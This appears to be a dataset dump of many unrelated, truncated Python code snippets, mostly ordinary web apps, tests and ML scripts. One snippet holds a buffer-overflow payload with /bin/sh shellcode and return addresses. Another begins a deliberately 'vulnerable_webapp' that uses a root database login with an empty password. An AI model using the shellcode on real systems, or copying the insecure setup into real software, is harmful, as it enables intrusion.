content stringlengths 5 1.05M |
|---|
from datetime import timedelta
from flask import current_app, request
DEFAULT_DM_COOKIE_PROBE_COOKIE_NAME = "dm_cookie_probe"
DEFAULT_DM_COOKIE_PROBE_COOKIE_VALUE = "yum"
DEFAULT_DM_COOKIE_PROBE_COOKIE_MAX_AGE = timedelta(days=365).total_seconds()
DEFAULT_DM_COOKIE_PROBE_EXPECT_PRESENT = False
def init_app(app):
... |
import pytest
from src.freq_query import freq_query
cases = [
([(1, 1), (2, 2), (3, 2), (1, 1), (1, 1), (2, 1), (3, 2)], [0, 1]),
([(3, 4), (2, 1003), (1, 16), (3, 1)], [0, 1]),
]
@pytest.mark.parametrize("queries, expected", cases)
def test(queries, expected):
result = freq_query(queries)
assert re... |
"""Support for Google Calendar Search binary sensors."""
from __future__ import annotations
import copy
from datetime import date, datetime, timedelta
import logging
from typing import Any
from httplib2 import ServerNotFoundError
from homeassistant.components.calendar import (
ENTITY_ID_FORMAT,
CalendarEntit... |
import csv
with open('CSVdata.csv') as CSVFile:
read = csv.reader(CSVFile,delimiter = ',')
dates = []
colors = []
for row in read:
print(row)
date = row[0]
color = row[1]
dates.append(row[0])
colors.append(row[1])
print(dates)
print(colors) |
import sys
import numpy as np
sys.path.append("./dataset")
sys.path.append('./dnn')
sys.path.append("./shared")
import neural_network as nn
def test_main_or_with_dropout():
datasetsize = 8
batchsize = 4
td_num = 2
tl_num = 2
# set data
trainData = np.ones([datasetsize, batchsize, td_num])
... |
# coding: utf-8
from typing import TypeVar, Generic
import typing
from functools import singledispatch, lru_cache
from collections import abc as collections_abc
from typing_inspect import get_args
from .compat import (
get_generic_origin,
get_generic_params,
get_generic_bases,
typing_bases,
generics... |
from django.contrib.sites import requests
import pymongo
from bson import ObjectId
from django.http import HttpResponse, JsonResponse
import json
from django.conf import settings
import jwt
import datetime
from passlib.apps import custom_app_context as pwd_context
from rest_framework.decorators import api_view
from We... |
from django.db import models
# Create your models here.
# (Flight, Speed, Invisibility, Telekenetic, Healing, Other)
#
# (Good, kinda good, neutral, a little evil, evil)
# power choices for a dropdown
Power_Choices = \
(
('flight','Flight'),
('speed','Speed'),
('invisibility','Invisibilit... |
"""
Runner script to train a simple lstm sentence classifier,
using best rouge score for a sentence in the article compared to each sentence in the summary
as the y labels.
Should I create labels with rouge or with n sentences selected based on highes score.
"""
import time
from absl import app, flags
import logging
... |
#!/usr/bin/env python3
from heyvector import db
from datetime import datetime
class Repository(db.Model):
__table_args__ = (
db.UniqueConstraint('name', 'owner', name='unique_owner_repo'),
)
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(100), nullable=False)
own... |
from flask.testing import FlaskClient
from sqlite3 import Connection
def test_get_user_data(client: FlaskClient) -> None:
test_login = "TestUser"
client.post(
"/api/user",
json={"login": test_login, "password": "hiadihdai"},
)
response = client.get(f"/api/user/{test_login}")
assert... |
class BuildError(Exception):
"""Defines an error during the process, this doesn't mean
anything failed but instead that either a precondition failed
or a pre-build item."""
class BuildFailure(Exception):
"""Defines a failure in a build step,"""
|
def test_is_contract(t, get_contract_with_gas_estimation):
contract_1 = """
@public
def foo(arg1: address) -> bool:
result: bool = arg1.is_contract
return result
"""
contract_2 = """
@public
def foo(arg1: address) -> bool:
return arg1.is_contract
"""
c1 = get_contract_with_gas_estimation(contra... |
import uuid
from fhirclient.models import (
observation as obx,
meta as ma,
fhirreference as fr,
fhirdate as fd,
)
from app import (
Coding,
CodeableConcept,
Identifier,
Quantity,
Component
)
# generic FHIR Observation class
class Observation:
def __init__(self, resourceId, p... |
import maya.mel as mel
import maya.cmds as cmds
from functools import wraps
# -----------------------------------------------------------------------------
# Decorators
# -----------------------------------------------------------------------------
def viewportOff(func):
"""
Decorator - turn off Maya display... |
# flake8: noqa
MODEL_METADATA = {
'20180402-114759': {
'zip_url': 'https://github.com/faustomorales/keras-facenet/releases/download/v0.3.1/20180402-114759.zip',
'zip_local_name': '20180402-114759.zip',
'zip_sha256': '669f37d3954b72b53121ff0638ca5bb8b14309bfe4767fe6bd851eee75f1f0de',
... |
import os
import logging
from kubeflow_jupyter.default.app import app as default
from kubeflow_jupyter.rok.app import app as rok
logger = logging.getLogger("entrypoint")
ui = os.environ.get("UI", "default")
apps = {
'default': default,
'rok': rok
}
try:
apps[ui].run(host="0.0.0.0")
except KeyError:
lo... |
"""
File: centered_diff.py
Exercise 3.18
Copyright (c) 2016 Andrew Malfavon
License: MIT
Approximate differentiation.
"""
import math
def diff(f, x, h=1.0E-5):
df = (f(x+h) - f(x-h)) / (2*h)
return df
def func_one(x):
return x**2
def func_two(x):
return math.exp(x)
def func_three(x):
return mat... |
'''File containing helper functions for details about kernel evaluations, and
evaluating mmd for a given kernel and two target distributions
'''
import numpy as np
import numpy.random as npr
import numpy.linalg as npl
import os
import pickle as pkl
from scipy.stats import multivariate_normal
from scipy.special import... |
from flask import (
Blueprint,
redirect,
render_template,
request,
session,
url_for,
)
from flask_login import current_user, login_required
from flask_wtf import FlaskForm
from wtforms import StringField
from wtforms.validators import InputRequired, Length
from unichess.ext.socket import socket... |
# -*- coding: utf-8 -*-
import pytest
GOLDEN_IT_RULES_TEST_CASES = [
("Salve Sig.ra Mengoni! Come sta oggi?",
["Salve Sig.ra Mengoni!", "Come sta oggi?"]),
("Una lettera si può iniziare in questo modo «Il/la sottoscritto/a.».",
["Una lettera si può iniziare in questo modo «Il/la sottoscritto/a.»."]),
("La casa costa... |
from .database import Database
from .mark_list import MarkLists
from .marks import Marks
from .subscribe import Subscriptions
from .users import Users
|
from qbay.models import db, User, Product, Session
from validate_email import validate_email
from uuid import uuid4
import datetime as dt
import hashlib
import json
import re
'''
This file defines functions to interface with the data models
'''
def login(email, password, ip):
'''
Check login information
... |
import numpy as np
import pytest
import ezaero.vlm.steady as vlm_steady
INFINITE_WING = {
'wing': vlm_steady.WingParams(cr=1.0, ct=1.0, bp=10000, theta=0.0,
delta=0.0),
'mesh': vlm_steady.MeshParams(m=2, n=400)
}
@pytest.mark.parametrize('alpha', np.array((-2, -1, 0, 1, 2, ... |
# @Author:lsj
# @version V1.0
# -*- coding:UTF-8 -*-
from appium import webdriver
import time
caps={}
caps['platformName'] = 'Android' # 平台名称
caps['platformVersion'] = '5.1.1' # 设备系统版本号
caps['deviceName'] = '127.0.0.1:62001' # 设备名称（可以随意写取adb devices连接的第一台设备）
caps['appPackage'] = 'com.youba.calculate' # 包名 adb shel... |
from os import path
import math
import json
import numpy as np
from keras.utils import Sequence
CONFIG_PATH = path.join(path.dirname(path.realpath(__file__)), "intents", "config")
class Dataset():
def __init__(self, schema_path, name):
self.path = schema_path
self.name = name
with open... |
from django.urls import path
from .views import (
imageListView,
imageDetailView,
imageForm,
imageFilterView,
rotateRight,
rotateLeft
)
from django.conf.urls.static import static
from django.conf import settings
urlpatterns = [
path('', imageListView.as_view(),name='home'),
path('image/<int:pk>', imageDetailVi... |
from registration import admin
from registration.backends.default import urls
def test():
assert admin
assert urls
|
import pandas as pd
import os
import sys
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import missingno as msno
general_directory = os.path.split(os.getcwd())[0]
data_location = os.path.join(general_directory, "data")
dataset = "trainingsetvalues" +".csv"
datasetlabels = "trainingsetla... |
from django.test.client import Client
from openslides.assignment.models import Assignment, AssignmentPoll
from openslides.config.api import config
from openslides.participant.models import Group, User
from openslides.utils.test import TestCase
class AssignmentViewTestCase(TestCase):
def setUp(self):
# Ad... |
from OpenGLCffi.GL import params
@params(api='gl', prms=['texture'])
def glActiveTextureARB(texture):
pass
@params(api='gl', prms=['texture'])
def glClientActiveTextureARB(texture):
pass
@params(api='gl', prms=['target', 's'])
def glMultiTexCoord1dARB(target, s):
pass
@params(api='gl', prms=['target', 'v'])
de... |
from setuptools import setup
with open("README.md", "r") as fh:
readme = fh.read()
setup(name='cov19',
version='0.0.9',
url='https://github.com/emdemor/cov19',
license='MIT License',
author='Eduardo M. de Morais',
long_description=readme,
long_description_content_type="text/markdown",
... |
from os import environ
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
DBUSER = 'postgres'
DBPASS = 'postgres'
DBHOST = environ.get('DB_HOST', 'localhost')
DBPORT = '5432'
DBNAME = 'local-leader'
DBDRIVER = '+psycopg2'
DB_URI = f'postgresql{DBDRIVER}://{DBUSER}:{DB... |
"""
LeetCode Problem: 997. Find the Town Judge
Link: https://leetcode.com/problems/find-the-town-judge/
Language: Python
Written by: Mostofa Adib Shakib
"""
"""
Observations:
1) If everyone knows person A and person A doesn't know anyone then person A is a judge.
2) If the town has no population then the judge cannot... |
# Generated by Django 3.0.10 on 2020-10-04 14:52
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('users', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='user',
o... |
#!/usr/bin/env python
# Threads for concurrency
threads=10
# Proteogenomics
translation_table=11
# Specify the full path to the maxquant output 'txt' file
mq_txt='/researchdata/fhgfs/ptgmat003/blackburn/hypohyper/mq/HH_PROTEOGENOMICS/17_SIX_FRAME_3_missed/combined/txt/'
# Specify the reference genome to be used to... |
import math
from matrix import Matrix
from tabulate import tabulate
import random
class TargetFunction:
"""Function class used for optimization, counts calls and saves calculated results
"""
def __init__(self, f):
self.f = f
self.results = {}
self.no_calls = 0
def __call__(se... |
# -*- coding: utf-8 -*-
"""
Created on Mon Jun 22 09:44:18 2015
@author: student
"""
out=open('conf.txt', 'w')
for i in xrange(1,313):
out.write('0\n')
out.close() |
from aiogram.dispatcher.filters.state import State
from states.base.choose_group import ChooseGroupStates
class EditGroupStates(ChooseGroupStates):
create = State()
edit = State()
|
"""Process descriptor."""
import collections
import re
# Processor type validation regexp.
PROCESSOR_TYPE_RE = re.compile(r"^data:[a-z0-9:]+$")
class SchedulingClass:
"""Process scheduling class."""
INTERACTIVE = "interactive"
BATCH = "batch"
class Persistence:
"""Process data persistance."""
... |
import math
from cachetools import TTLCache
TTL_CACHE = TTLCache(maxsize=0, ttl=0)
def configure(app):
relay_polling_interval = app.config.get('REALY_POLL_INT', 10)
global TTL_CACHE
TTL_CACHE = TTLCache(
maxsize=256,
ttl=math.floor(relay_polling_interval * 0.85))
return app
|
from rest_framework import serializers
from .models import Hotel
class HotelMiniSerializer(serializers.ModelSerializer):
class Meta:
model = Hotel
fields = ['id', 'name']
class HotelSerializer(serializers.ModelSerializer):
class Meta:
model = Hotel
fields = '__all__'
|
from . import website_sale_clear_cart
|
import collections
import copy
import json
import os
import time
import torch
import yaml
import itertools
import numpy as np
def save_checkpoint(state, checkpoint_dir="checkpoints/", name=None):
if name:
filename = os.path.join(checkpoint_dir, "checkpoint_%s.pt" %name)
else:
filename = os.path... |
from matching import ContinuousMatch
from matching import StaticContinuousMatch
from matching import Side
from matching import Order
import cProfile
def one_sweep():
# m = ContinuousMatch()
m = StaticContinuousMatch(floor_price=10000, ceil_price=30000, price_step=1)
base_price = 10000
order_count = 20... |
from time import sleep
import pprint as pp
import csv
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from parsel import Selector
import parameters
_DRIVER_CHROME = None
# Instaniate webdriver using path to chromedriver
_DRIVER_CHROME = webdriver.Chrome(parameters.google_chrome_driv... |
from multiprocessing.managers import SyncManager, ListProxy
class Connection(SyncManager):
def __init__(self, address):
self.register("get_messages", proxytype=ListProxy)
super().__init__(address=address, authkey=b'mychatsecret')
self.connect()
def broadcast(self, message):
me... |
from testbase import PersistTest, AssertMixin, ORMTest
import unittest, sys, os
from sqlalchemy import *
import StringIO
import testbase
from tables import *
import tables
"""test cyclical mapper relationships. Many of the assertions are provided
via running with postgres, which is strict about foreign keys.
we mig... |
from django.urls import path
from . import views
urlpatterns = [
path('emailSuccess',views.getEmail, name="email")
]
|
def enum(**enums):
'''From http://stackoverflow.com/a/1695250'''
return type('Enum', (), enums)
def is_iterable(o):
try:
iter(o)
except TypeError:
return False
else:
return True
|
from keystone_cadf_logger.cli import * # noqa
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright(c) 2021 The MITRE Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# You may obtain a copy of the License at:
# http://www.apache.org/lice... |
# -*- coding: utf-8 -*-
import os
import matplotlib.pyplot as plt
import numpy as np
import chainer
from chainer import cuda, Variable, optimizers
import chainer.functions as F
import chainer.links as L
from chainer import Link, Chain, ChainList
from chainer import serializers
import sys
import csv
import time
import ... |
import matplotlib.pyplot as plt
from matplotlib.gridspec import GridSpec
def make_ticklabels_invisible(fig):
for i, ax in enumerate(fig.axes):
ax.text(0.5, 0.5, "ax%d" % (i+1), va="center", ha="center")
for tl in ax.get_xticklabels() + ax.get_yticklabels():
tl.set_visible(False)
plt.... |
# -*- coding: utf-8 -*-
# Copyright (c) 2010-11 Walter Bender, Martin Langhoff
# License: GPLv2
# Defines the magic global _() with the right params so all modules
# can use it.
#
# Plugins that want to override MUST use a different technique. See
# the developer notes in the TA wikipage.
#
import gettext
import os
#... |
buf = "\x31\xc0\xb0\x30"+"\x01\xc4\x30\xc0"+"\x50\x68\x2f\x2f"+"\x73\x68\x68\x2f"+"\x62\x69\x6e\x89"+"\xe3\x89\xc1\xb0"+"\xb0\xc0\xe8\x04"+"\xcd\x80\xc0\xe8"+"\x03\xcd\x80"
float = "\xa5\x31\x5a\x47\x55\x15\x50\x40"
buf_size = len(buf)
ebp = '\xe8\xf9\xff\xbf'
#ret_addr = '\xd8\xf8\xff\xbf'
ret_addr = '\xc8\xd8\xff\xf... |
# -*- coding: utf-8 -*-
import mdb
from unittest import TestCase
class TestDB(TestCase):
def setUp(self):
import os
import errno
self.path = './testdbm'
try:
os.makedirs(self.path)
except OSError as e:
if e.errno == errno.EEXIST and os.path.isdir(se... |
import datetime
import flask
import random
import os
app = flask.Flask(__name__)
run_path = os.getcwd()
@app.route("/current-status")
def current_status():
global run_path
imgs = ["blue.gif", "green.gif", "red.gif", "white.gif"]
img_no = random.randrange(0,4)
print(f"Image: {imgs[img_no]}")
f = ... |
"""
.. See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Aug 28 08:32:24 2018
@author: mcsoini
"""
import numpy as np
import pandas as pd
def get_example_data_100():
# % Example charging/discharging profiles
x = np.arange(100)
def add_peaks(peaks, threshold=0.1):
cd = np.array([0.] * l... |
# ============================================================================ #
# Abgabe Projektarbeit Einführung ins Programmieren mit Python
# Namen
# Michael Bierschneider, Mat.Nr. 1652774
# - benötige Note für dieses Projekt
from typing import *
import sys
import pygame
import random
from src.bot import B... |
from datetime import datetime, timedelta
from typing import Optional
from koda import Result, Ok
from nomaj.fk.auth.codecs.codec import Codec
from nomaj.fk.auth.identity import Identity, ANONYMOUS, is_anon
from nomaj.fk.auth.ps import Pass
from nomaj.misc.cookies import cookies_of
from nomaj.misc.expires import Date
... |
import torch
import torch.nn as nn
import torch.nn.functional as F
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv1 = nn.Conv2d(1, 80, kernel_size=5)
self.conv2 = nn.Conv2d(80, 80, kernel_size=5)
self.pool1 = nn.MaxPool2d(kernel_size=2, stride=2, p... |
# Generated by Django 3.1.2 on 2020-11-05 17:37
from django.db import migrations
def convert_null_to_empty(apps, schema_editor):
WTOProfile = apps.get_model("wto", "WTOProfile")
HistoricalWTOProfile = apps.get_model("wto", "HistoricalWTOProfile")
WTOProfile.objects.filter(member_states__isnull=True).upd... |
from base_asset import BaseAsset
class FXAsset(BaseAsset):
def __init__(self):
super(FXAsset, self).__init__(self)
|
from os import path
from setuptools import setup
import subprocess
repo_url = "https://github.com/emcniece/bchydro"
# Fetch latest tag from Github
cmd = f"git -c 'versionsort.suffix=-' ls-remote --tags --sort='v:refname' {repo_url} | tail -n 1 | cut -d'/' -f3-"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess... |
import os
from hardware.Utils.utils import (
get_logger,
get_sensor_keys,
date_str_with_current_timezone,
)
# Conditional import for sense hat and emulator
try:
if not os.environ.get("EMULATE_SENSE_HAT"):
from sense_hat import SenseHat
else:
raise ImportError("Import emulator")
exce... |
import os, sys
import unittest
from attrdict.mixins import Attr
from kamaboko.PolalityDict import PolalityDict
from cli import install, delete as delete_dic
from attrdict import AttrDict
class PolalityDictTest(unittest.TestCase):
@staticmethod
def setUpClass():
install_opt = AttrDict({
"... |
from flask import Flask, url_for
from flask import render_template
import os
app = Flask(__name__)
person = {
'first_name': 'Nohossat',
'last_name' : 'TRAORE',
'address' : '9 rue Léon Giraud · PARIS · FRANCE',
'job': 'Web developer',
'tel': '0678282923',
'email': 'nohossat.tra@yahoo.com',
... |
from datetime import timedelta
from decimal import Decimal
import pytest
from django.utils import timezone
from prices import Money, TaxedMoney
from ...checkout.fetch import fetch_checkout_info, fetch_checkout_lines
from ...checkout.utils import get_voucher_discount_for_checkout
from ...plugins.manager import get_plu... |
"""
In DNA strings, symbols 'A' and 'T' are complements of each other, as are 'C' and 'G'.
The reverse complement of a DNA string s is the string sc formed by reversing the symbols of s, then taking the
complement of each symbol (e.g., the reverse complement of "GTCA" is "TGAC").
Given: A DNA string s of length at
most... |
from typing import Optional, Union
from requests import Session
from urllib.parse import urljoin
class IPFabric(Session):
def __init__(self, base_url: str, token: str, verify: bool = True, api_version: str = "v1", limit: int = 10000):
"""
Initiate IPFabric session
:param base_url: str: ht... |
# -*- coding: utf-8 -*-
"""
Tensorflow helper functionality
Partially from: https://github.com/openai/iaf/blob/master/tf_utils/common.py
Copyright (c) 2016 openai
"""
import tensorflow as tf
import numpy as np
def anneal_linear(t, n, e_final,e_init=1):
''' Linear anneals between e_init and e_final '''
if t >=... |
#!/usr/bin/env python
"""
module with functions to enable logging
"""
import time,os,re,csv,sys,uuid,joblib
from datetime import date
if not os.path.exists(os.path.join(".","logs")):
os.mkdir("logs")
def update_train_log(tag,period,rmse,runtime,MODEL_VERSION,MODEL_VERSION_NOTE,test=False):
"""
update tra... |
import ast
from collections import namedtuple
from .astunparser import Unparser
SrcASTToken = namedtuple("SrcASTToken", "text type")
def separate_list(ast, max_len):
"""
Handles training / evaluation on long ASTs by splitting
them into smaller ASTs of length max_len, with a sliding
window of max_len... |
import os
import operator
import json
import torch
from ..trainer_state import TrainerState
from ..utils import metrics_to_nice_string
from ..supervised_evaluator import run_supervised_metrics
from .abstract_callback import AbstractCallback
from .tensorboardx_callback import TensorBoardXCallback
from .mlflow_callback... |
#------------------------------------------------------------------
# Licensed under The Apache-2.0 License [see LICENSE for details]
# Inference module for performing detection and proposal extraction
# Written by Mahyar Najibi
# -----------------------------------------------------------------
import numpy as np
from... |
#!/usr/bin/env python
from assignment8 import StressStrainConverter
import numpy as np
import scipy.integrate
from PyTrilinos import Epetra
class EpetraParallelToughness(StressStrainConverter):
def __init__(self, filename, comm):
super().__init__(filename)
self.comm = comm
self.rank = co... |
# Copyright 2021 VMware, Inc.
# SPDX-License-Identifier: Apache-2.0
from vdk.api.plugin.hook_markers import hookimpl
"""
Include the plugin hooks here. For example:
from vdk.internal.core.context import CoreContext
@hookimpl
def vdk_initialize(context: CoreContext):
pass
"""
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
import django.core.validators
class Migration(migrations.Migration):
dependencies = [
('users', '0012_auto_20170131_1039'),
]
operations = [
migrations.AddField(
model_na... |
import models
import endpoints
|
import csv
from datetime import datetime
import matplotlib.pyplot as plt
def get_data_from_file(file_path,highs, lows, dates):
with open(file_path) as f:
reader = csv.reader(f)
header_row = next(reader)
date_index = header_row.index('DATE')
tmax_index = header_row.index('TMAX')
... |
import ravop.core as R
class Node:
def __init__(self, predicted_class, depth=None):
self.predicted_class = predicted_class
self.feature_index = 0
self.threshold = 0
self.left = None
self.right = None
self.leftbranch = False
self.rightbranch = False
... |
"""Evaluation for DCASE 2019 Task 2 Baseline models."""
from __future__ import print_function
import csv
from collections import defaultdict
import itertools
import os
import random
import re
import sys
import time
import numpy as np
import sklearn.metrics
import tensorflow as tf
import inputs
import model
class L... |
from builtins import str
try:
import zmq.green as zmq
except ImportError:
zmq = None
import vaping
import vaping.plugins
@vaping.plugin.register('zeromq')
class ZeroMQ(vaping.plugins.EmitBase):
"""
plugin to emit messages via zeromq
"""
def __init__(self, config, ctx):
super(ZeroMQ,... |
# -*- coding: utf-8 -*-
"""
Hypatia interface module. Contains the Model class with all
the methods needed to create,solve and save the results of a hypatia
model.
"""
from cvxpy import installed_solvers
from hypatia.error_log.Exceptions import (
WrongInputMode,
DataNotImported,
ResultOverWrite,
SolverN... |
import os.path
import sys
TOOL_ROOT = os.path.abspath(
os.path.dirname( # c-analyzer/
os.path.dirname(__file__))) # cpython/
DATA_DIR = TOOL_ROOT
REPO_ROOT = (
os.path.dirname( # ..
os.path.dirname(TOOL_ROOT))) # Tools/
INCLUDE_DIRS = [os.path.join(REPO_ROOT, name) for nam... |
from spotlight import errors as err
from spotlight.tests.validator_test import ValidatorTest
class IntegerTest(ValidatorTest):
def setUp(self):
self.field = "test"
self.integer_error = err.INTEGER_ERROR.format(field=self.field)
def test_integer_rule_with_string_expect_error(self):
rul... |
def calculator(a,b,sel):
print(str((a + b) if (sel == 1) else ((a - b) if (sel == 2) else((a * b) if (sel == 3) else ((a / b) if (sel==4) else 0)))))
sel = int(input('Enter your choice '))
a = int(input('Enter your 1st number '))
b = int(input('Enter your 2nd number '))
calculator(a,b,sel) |
from fpdf import fpdf, FPDF
from datetime import date
import os
fpdf.set_global("SYSTEM_TTFONTS",
os.path.join(os.getcwd(), 'fonts'))
def pdf_gen(search_term, lines):
# Date and term concatenation
today = str(date.today())
today_edit = date.today().strftime('%d/%B/%Y')
term = search_... |
import pytest
from supriya.patterns import SequencePattern
from supriya.patterns.testutils import run_pattern_test
@pytest.mark.parametrize(
"stop_at, sequence, iterations, expected, is_infinite",
[
(None, [1, 2, 3], None, [1, 2, 3], True),
(None, [1, 2, 3], 1, [1, 2, 3], False),
(Non... |
import argparse
import cv2
import json
import math
import numpy as np
# from pycocotools.coco import COCO
# from pycocotools.cocoeval import COCOeval
import torch
# from datasets.coco import CocoValDataset
from pose2d_models.with_mobilenet import PoseEstimationWithMobileNet
from modules.keypoints import extract_keypo... |
"""
Classes for prior objects:
Continuous
----------
Beta
HalfCauchy
Normal
DiscreteOrdinal
---------------
TBD
DiscreteNonOrdinal
------------------
TBD
"""
from abc import ABC, abstractmethod
import numpy as np
from scipy.stats import beta as beta_dist, halfcauchy, norm, gaussian_kde, \
un... |
from pprint import pprint
import requests
from bs4 import BeautifulSoup
URL = "http://insidertrading.org/"
def get_page():
html = requests.get(URL).text
return html
def get_records():
data = []
html = get_page()
soup = BeautifulSoup(html, 'html.parser')
table = soup.find('table', attrs... |
#!/usr/bin/env python3
import unittest
from max_consecutive import max_consecutive
class Test_max_consecutive(unittest.TestCase):
def test_max_consecutive(self):
self.asserEqual(max_consecutive([9, 6, 6, 3, 3, 5, 5, 5, 5, 5, 5]), 6)
if __name__ == "__main__":
unittest.main()
|
"""
The Sims 4 Community Library is licensed under the Creative Commons Attribution 4.0 International public license (CC BY 4.0).
https://creativecommons.org/licenses/by/4.0/
https://creativecommons.org/licenses/by/4.0/legalcode
Copyright (c) COLONOLNUTTY
"""
from sims4communitylib.events.event_handling.common_event i... |
from discord.ext import commands
from datetime import datetime
from utils.customerrors import AlreadyScraping
class Scraper:
def __init__(self, bot):
self.bot = bot
assert isinstance(bot, commands.Bot)
self.scraping = False
async def start_scrape(self):
"""Scrape all channels i... |
from setuptools import setup
def readme():
with open('README.md') as f:
README = f.read()
return README
setup(
name = "tensor-dash",
version = "1.8",
description = "A python package that lets you remotely monitor your deep learning training metrics through it's companion app.",
long_... |
from flask import abort, Flask, render_template, request, redirect, session, url_for
app = Flask(__name__)
app.secret_key = 'this_isnt_actually_secret'
import mysql.connector
from mysql.connector import pooling
db_config = {
'database': 'vulnerable_webapp',
'user': 'root',
'password': '',
'host': '12... |
import json
import pandas as pd
import numpy as np
import keras
from keras.models import Model
from keras.layers import add,Input,Conv1D,Activation,Flatten,Dense,GlobalAveragePooling1D
with open('./data/bgl_semantic_vec.json') as f:
# Step1-1 open file
gdp_list = json.load(f)
value = list(gdp_list.values(... |
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